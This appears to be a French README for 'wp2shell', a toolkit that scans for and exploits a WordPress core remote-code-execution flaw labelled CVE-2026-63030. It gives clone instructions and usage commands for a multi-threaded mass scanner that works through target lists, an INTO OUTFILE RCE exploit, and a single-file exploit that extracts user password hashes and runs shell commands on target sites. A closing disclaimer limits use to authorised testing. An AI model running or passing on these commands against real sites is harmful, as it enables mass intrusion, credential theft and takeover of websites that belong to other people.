🔍 wp2shell - Scanner de vulnérabilité et exploit pour WordPress CVE-2026-63030

⚡ Scanner de vulnérabilités et exploit rapide et en temps réel pour CVE-2026-63030 (wp2shell)

📌 Aperçu

wp2shell est une boîte à outils complète pour détecter et exploiter CVE-2026-63030, une vulnérabilité critique dans WordPress qui permet à des attaquants non authentifiés d'exécuter du code à distance via une confusion de routes par lots de l'API REST combinée à une injection SQL.

🔍 Qu'est-ce que CVE-2026-63030 ?

CVE-2026-63030 (wp2shell) est une vulnérabilité critique découverte par Adam Kues (Assetnote / Searchlight Cyber) qui affecte le noyau de WordPress. Elle combine deux bugs :

1. GHSA-ff9f-jf42-662q - Confusion de routes par lots REST
2. GHSA-fpp7-x2x2-2mjf - Injection SQL author__not_in

📊 Versions affectées

📦 Clonage et configuration

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ Outils inclus

1️⃣ wp2shell_scanner.py - Scanner rapide

Scanner multi-threadé en temps réel pour la détection de vulnérabilités à grande échelle.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - Exploit INTO OUTFILE

Démontre la variante RCE INTO OUTFILE (nécessite le privilège FILE de MySQL).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - Exploit mono-fichier

Version portable et mono-fichier de l'exploit avec toutes les fonctionnalités.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ Avertissement légal

IMPORTANT : Cet outil est destiné uniquement à des fins éducatives et de tests autorisés.

• Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
• L'accès non autorisé à des systèmes informatiques est illégal.
• Les développeurs déclinent toute responsabilité en cas d'utilisation abusive de ce logiciel. Utilisez-le de manière responsable et éthique.